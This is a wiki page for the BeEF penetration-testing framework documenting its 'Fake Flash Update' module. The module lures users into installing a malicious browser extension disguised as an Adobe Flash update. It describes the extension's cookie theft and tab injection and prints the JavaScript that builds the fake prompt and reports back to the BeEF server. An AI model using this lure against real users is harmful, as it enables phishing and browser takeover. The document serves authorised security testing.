9

Module: Fake Flash Update

Jess Williams edited this page 2019-12-31 13:09:43 +10:00

Table of Contents

• Summary
• Internal Working
• Screenshots
• Feedback
• References

Summary

• Description:
  • Prompts the user to install an update to Adobe Flash Player.The file to be delivered could be a Chrome or Firefox extension.
  • A Chrome extension has privileged access and can do a whole lot..
    • Access all tabs and inject beef into all tabs
    • Use hooked browser as a proxy to do cross domain requests
    • Get all cookies including HTTPonly cookies
  • Note : the Chrome extension delivery will work on Chrome <= 20. From Chrome 21 things changed in terms of how extensions can be loaded.
  • The Firefox extension is disabling PortBanning (ports 20,21,22,25,110,143), enabling Java, overriding the UserAgent and the default home/new_tab pages. See extensions/ipec/files/LinkTargetFinder dirrectory for the Firefox extension source.
• Authors: mh, antisnatchor
• Browsers: All (User is notified)
• Parameters :
  • Splash Image : Main image used for fake message (default is adobe reader logo)
  • BeEF payload root path : URL of the BeEF server should be here
  • Payload : Choose the payload (Chrome or Firefox)
• Code

Internal Working

This module basically add a fake message in the center of the screen and redirect to the browser extension when the user clicks on it :

var div = document.createElement('div');
div.setAttribute('id', 'splash');
div.setAttribute('style', 'position:absolute; top:30%; left:40%;');
div.setAttribute('align', 'center');
document.body.appendChild(div);
div.innerHTML= '<a href=\'' + payload + '\' ><img src=\''+ image +'\' /></a>';
    $j("#splash").click(function () {
      $j(this).hide();
        beef.net.send('<%= @command_url %>', <%= @command_id %>, 'answer=user has accepted');
    });

Screenshots

Command :

Fake message :

Error with Chrome > 20 :

Alert message on Firefox 17 :

Feedback

• Blocked with recent version of Chrome (> 20)
• It would be usefull to automatically detect if the browser is chrome or firefox and remove the payload option

References

• Adding extensions from other websites

I - Starting BeEF

1. Introducing BeEF
2. Installation
3. Basics
4. Troubleshooting

II - Basic Utilization

1. Configuration
2. Interface
3. Information Gathering
4. Social Engineering
5. Network Discovery
6. Metasploit
7. Tunneling
8. XSS Rays
9. Persistence
10. Creating a Module
11. Geolocation
12. Using-BeEF-With-NGROK

III - Advanced Utilization

1. RESTful API
2. Autorun Rule Engine
3. Notifications
4. Console
5. WebRTC Extension

IV - Development

1. Contributing
2. ActiveRecord
3. Development Organization
4. Architecture
5. BeEF Javascript API
6. Step By Step Module Creation
7. Creating a New Extension
8. BeEF Testing
9. Browser & OS Compatibility
10. Database Schema
11. Development Milestones
12. Command Module Config
13. Command Module API

V - References

1. FAQ
2. Other
3. References
4. Modules
5. Release Notes

User Guide

I. Introduction   |   II. Basic Utilization   |   III. Advanced Utilization   |   IV. Development   |   V. References

Community

Blog   |   Code   |   Youtube   |   Twitter